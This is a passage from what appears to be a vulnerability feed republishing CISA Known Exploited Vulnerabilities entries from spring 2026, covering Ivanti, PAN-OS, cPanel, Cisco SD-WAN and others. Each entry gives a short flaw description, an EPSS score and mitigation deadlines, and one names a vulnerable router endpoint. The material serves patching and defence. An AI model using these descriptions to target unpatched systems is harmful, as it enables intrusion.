CISA added this entry on 2026-05-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 8, 2026; federal due date May 11, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Endpoint Manager Mobile (EPMM) Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2026-6973
Ivanti Endpoint Manager Mobile (EPMM) Improper Input Validation Vulnerability (May 7, 2026).
Ivanti Endpoint Manager Mobile (EPMM) contains an improper input validation vulnerability that allows a remotely authenticated user with administrative access to achieve remote code execution.
EPSS 34.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-6973&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-6973: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-6973&date=2026-10-25
CISA added this entry on 2026-05-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 7, 2026; federal due date May 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Palo Alto Networks PAN-OS Out-of-bounds Write Vulnerability
https://kevwire.com/record/CVE-2026-0300
Palo Alto Networks PAN-OS Out-of-bounds Write Vulnerability (May 6, 2026).
Palo Alto Networks PAN-OS contains an out-of-bounds write vulnerability in the User-ID Authentication Portal (aka Captive Portal) service that can allow an unauthenticated attacker to execute arbitrary code with root privileges on the PA-Series and VM-Series firewalls by sending specially crafted packets.
EPSS 41.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-0300&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-0300: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-0300&date=2026-10-25
CISA added this entry on 2026-05-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Until the vendor releases an official fix, the following workaround should be implemented:  - Restrict User-ID Authentication Portal access to only trusted zones.  - Disable User-ID Authentication Portal if not required. 5/13/2026: Palo Alto has released a variety of patches. If these are relevant to your environment, please apply the designated patch.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 6, 2026; federal due date May 9, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Incorrect Resource Transfer Between Spheres Vulnerability
https://kevwire.com/record/CVE-2026-31431
Linux Kernel Incorrect Resource Transfer Between Spheres Vulnerability (May 1, 2026).
Linux Kernel contains an incorrect resource transfer between spheres vulnerability that could allow for privilege escalation.
EPSS 98.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-31431&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-31431: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-31431&date=2026-10-25
CISA added this entry on 2026-05-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 1, 2026; federal due date May 15, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### WebPros cPanel & WHM and WP2 (WordPress Squared) Missing Authentication for Critical Function Vulnerability
https://kevwire.com/record/CVE-2026-41940
WebPros cPanel & WHM and WP2 (WordPress Squared) Missing Authentication for Critical Function Vulnerability (Apr 30, 2026).
WebPros cPanel & WHM (WebHost Manager) and WP2 (WordPress Squared) contain an authentication bypass vulnerability in the login flow that allows unauthenticated remote attackers to gain unauthorized access to the control panel.
EPSS 98.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-41940&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-41940: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-41940&date=2026-10-25
CISA added this entry on 2026-04-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 30, 2026; federal due date May 3, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### ConnectWise ScreenConnect Path Traversal Vulnerability
https://kevwire.com/record/CVE-2024-1708
ConnectWise ScreenConnect Path Traversal Vulnerability (Apr 28, 2026).
ConnectWise ScreenConnect contains a path traversal vulnerability which could allow an attacker to execute remote code or directly impact confidential data and critical systems.
EPSS 95.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-1708&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-1708: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-1708&date=2026-10-25
CISA added this entry on 2026-04-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 28, 2026; federal due date May 12, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Protection Mechanism Failure Vulnerability
https://kevwire.com/record/CVE-2026-32202
Microsoft Windows Protection Mechanism Failure Vulnerability (Apr 28, 2026).
Microsoft Windows Shell contains a protection mechanism failure vulnerability that allows an unauthorized attacker to perform spoofing over a network.
EPSS 70.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-32202&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-32202: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-32202&date=2026-10-25
CISA added this entry on 2026-04-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 28, 2026; federal due date May 12, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link DIR-823X Command Injection Vulnerability
https://kevwire.com/record/CVE-2025-29635
D-Link DIR-823X Command Injection Vulnerability (Apr 24, 2026).
D-Link DIR-823X contains a command injection vulnerability that allows an authorized attacker to execute arbitrary commands on remote devices by sending a POST request to /goform/set_prohibiting via the corresponding function. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.
EPSS 87.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-29635&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-29635: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-29635&date=2026-10-25
CISA added this entry on 2026-04-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 24, 2026; federal due date May 8, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Samsung MagicINFO 9 Server Path Traversal Vulnerability
https://kevwire.com/record/CVE-2024-7399
Samsung MagicINFO 9 Server Path Traversal Vulnerability (Apr 24, 2026).
Samsung MagicINFO 9 Server contains a path traversal vulnerability that could allow an attacker to write arbitrary files as system authority.
EPSS 91.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-7399&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-7399: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-7399&date=2026-10-25
CISA added this entry on 2026-04-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 24, 2026; federal due date May 8, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SimpleHelp Path Traversal Vulnerability
https://kevwire.com/record/CVE-2024-57728
SimpleHelp Path Traversal Vulnerability (Apr 24, 2026).
SimpleHelp contains a path traversal vulnerability that allows admin users to upload arbitrary files anywhere on the file system by uploading a crafted zip file (i.e. zip slip). This can be exploited to execute arbitrary code on the host in the context of the SimpleHelp server user.
EPSS 64.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-57728&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-57728: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-57728&date=2026-10-25
CISA added this entry on 2026-04-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 24, 2026; federal due date May 8, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SimpleHelp Missing Authorization Vulnerability
https://kevwire.com/record/CVE-2024-57726
SimpleHelp Missing Authorization Vulnerability (Apr 24, 2026).
SimpleHelp contains a missing authorization vulnerability that could allow low-privileged technicians to create API keys with excessive permissions. These API keys can be used to escalate privileges to the server admin role.
EPSS 66.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-57726&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-57726: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-57726&date=2026-10-25
CISA added this entry on 2026-04-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 24, 2026; federal due date May 8, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Marimo Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2026-39987
Marimo Remote Code Execution Vulnerability (Apr 23, 2026).
Marimo contains an pre-authorization remote code execution vulnerability, allowing an unauthenticated attacked to shell access and execute arbitrary system commands.
EPSS 99.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-39987&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-39987: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-39987&date=2026-10-25
CISA added this entry on 2026-04-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 23, 2026; federal due date May 7, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Defender Insufficient Granularity of Access Control Vulnerability
https://kevwire.com/record/CVE-2026-33825
Microsoft Defender Insufficient Granularity of Access Control Vulnerability (Apr 22, 2026).
Microsoft Defender contains an insufficient granularity of access control vulnerability that could allow an authorized attacker to escalate privileges locally.
EPSS 6.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-33825&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-33825: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-33825&date=2026-10-25
CISA added this entry on 2026-04-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 22, 2026; federal due date May 6, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Catalyst SD-WAN Manager Incorrect Use of Privileged APIs Vulnerability
https://kevwire.com/record/CVE-2026-20122
Cisco Catalyst SD-WAN Manager Incorrect Use of Privileged APIs Vulnerability (Apr 20, 2026).
Cisco Catalyst SD-WAN Manager contains an incorrect use of privileged APIs vulnerability due to improper file handling on the API interface of an affected system. An attacker could exploit this vulnerability by uploading a malicious file on the local file system. A successful exploit could allow the attacker to overwrite arbitrary files on the affected system and gain vmanage user privileges.
EPSS 25.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20122&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-20122: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20122&date=2026-10-25
CISA added this entry on 2026-04-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Please adhere to CISA’s guidelines to assess exposure and mitigate risks associated with Cisco SD-WAN devices as outlines in CISA’s Emergency Directive 26-03 (URL listed below in Notes) and CISA’s “Hunt & Hardening Guidance for Cisco SD-WAN Devices (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 20, 2026; federal due date Apr 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Catalyst SD-WAN Manager Exposure of Sensitive Information to an Unauthorized Actor Vulnerability
https://kevwire.com/record/CVE-2026-20133
Cisco Catalyst SD-WAN Manager Exposure of Sensitive Information to an Unauthorized Actor Vulnerability (Apr 20, 2026).
Cisco Catalyst SD-WAN Manager contains an exposure of sensitive information to an unauthorized actor vulnerability that could allow remote attackers to view sensitive information on affected systems.
EPSS 31.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20133&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-20133: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20133&date=2026-10-25
CISA added this entry on 2026-04-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Please adhere to CISA’s guidelines to assess exposure and mitigate risks associated with Cisco SD-WAN devices as outlines in CISA’s Emergency Directive 26-03 (URL listed below in Notes) and CISA’s “Hunt & Hardening Guidance for Cisco SD-WAN Devices (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 20, 2026; federal due date Apr 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Kentico Xperience Path Traversal Vulnerability
https://kevwire.com/record/CVE-2025-2749
Kentico Xperience Path Traversal Vulnerability (Apr 20, 2026).
Kentico Xperience contains a path traversal vulnerability that could allow an authenticated user's Staging Sync Server to upload arbitrary data to path relative locations.
EPSS 4.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-2749&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-2749: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-2749&date=2026-10-25
CISA added this entry on 2026-04-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 20, 2026; federal due date May 4, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### PaperCut NG/MF Improper Authentication Vulnerability
https://kevwire.com/record/CVE-2023-27351
PaperCut NG/MF Improper Authentication Vulnerability (Apr 20, 2026).
PaperCut NG/MF contains an improper authentication vulnerability that could allow remote attackers to bypass authentication on affected installations via the SecurityRequestFilter class.
EPSS 78.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-27351&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-27351: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-27351&date=2026-10-25
CISA added this entry on 2026-04-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 20, 2026; federal due date May 4, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Synacor Zimbra Collaboration Suite (ZCS) Cross-site Scripting Vulnerability
https://kevwire.com/record/CVE-2025-48700
Synacor Zimbra Collaboration Suite (ZCS) Cross-site Scripting Vulnerability (Apr 20, 2026).
Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting vulnerability that could allow attackers to execute arbitrary JavaScript within the user's session, potentially leading to unauthorized access to sensitive information.
EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-48700&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-48700: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-48700&date=2026-10-25
CISA added this entry on 2026-04-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 20, 2026; federal due date Apr 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Catalyst SD-WAN Manager Storing Passwords in a Recoverable Format Vulnerability
https://kevwire.com/record/CVE-2026-20128
Cisco Catalyst SD-WAN Manager Storing Passwords in a Recoverable Format Vulnerability (Apr 20, 2026).
Cisco Catalyst SD-WAN Manager contains a storing passwords in a recoverable format vulnerability that allows an authenticated, local attacker to gain DCA user privileges by accessing a credential file for the DCA user on the filesystem as a low-privileged user.
EPSS 7.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20128&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-20128: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20128&date=2026-10-25
CISA added this entry on 2026-04-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Please adhere to CISA’s guidelines to assess exposure and mitigate risks associated with Cisco SD-WAN devices as outlines in CISA’s Emergency Directive 26-03 (URL listed below in Notes) and CISA’s “Hunt & Hardening Guidance for Cisco SD-WAN Devices (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 20, 2026; federal due date Apr 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Quest KACE Systems Management Appliance (SMA) Improper Authentication Vulnerability
https://kevwire.com/record/CVE-2025-32975
Quest KACE Systems Management Appliance (SMA) Improper Authentication Vulnerability (Apr 20, 2026).
Quest KACE Systems Management Appliance (SMA) contains an improper authentication vulnerability that could allow attackers to impersonate legitimate users without valid credentials.
EPSS 2.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-32975&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-32975: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-32975&date=2026-10-25
CISA added this entry on 2026-04-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 20, 2026; federal due date May 4, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### JetBrains TeamCity Relative Path Traversal Vulnerability
https://kevwire.com/record/CVE-2024-27199
JetBrains TeamCity Relative Path Traversal Vulnerability (Apr 20, 2026).
JetBrains TeamCity contains a relative path traversal vulnerability that could allow limited admin actions to be performed.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-27199&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-27199: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-27199&date=2026-10-25
CISA added this entry on 2026-04-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 20, 2026; federal due date May 4, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache ActiveMQ Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2026-34197
Apache ActiveMQ Improper Input Validation Vulnerability (Apr 16, 2026).
Apache ActiveMQ contains an improper input validation vulnerability that allows for code injection.
EPSS 98.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-34197&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-34197: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-34197&date=2026-10-25
CISA added this entry on 2026-04-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 16, 2026; federal due date Apr 30, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Remote Code Execution
https://kevwire.com/record/CVE-2009-0238
Microsoft Office Remote Code Execution (Apr 14, 2026).
Microsoft Office Excel contains a remote code execution vulnerability that could allow an attacker to take complete control of an affected system if a user opens a specially crafted Excel file that includes a malformed object.
EPSS 42.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-0238&date=2026-10-25).
Sources:
CISA KEV entry CVE-2009-0238: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-0238&date=2026-10-25
CISA added this entry on 2026-04-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 14, 2026; federal due date Apr 28, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft SharePoint Server Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2026-32201
Microsoft SharePoint Server Improper Input Validation Vulnerability (Apr 14, 2026).
Microsoft SharePoint Server contains an improper input validation vulnerability that allows an unauthorized attacker to perform spoofing over a network.
EPSS 43.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-32201&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-32201: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-32201&date=2026-10-25
CISA added this entry on 2026-04-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 14, 2026; federal due date Apr 28, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Visual Basic for Applications Insecure Library Loading Vulnerability
https://kevwire.com/record/CVE-2012-1854
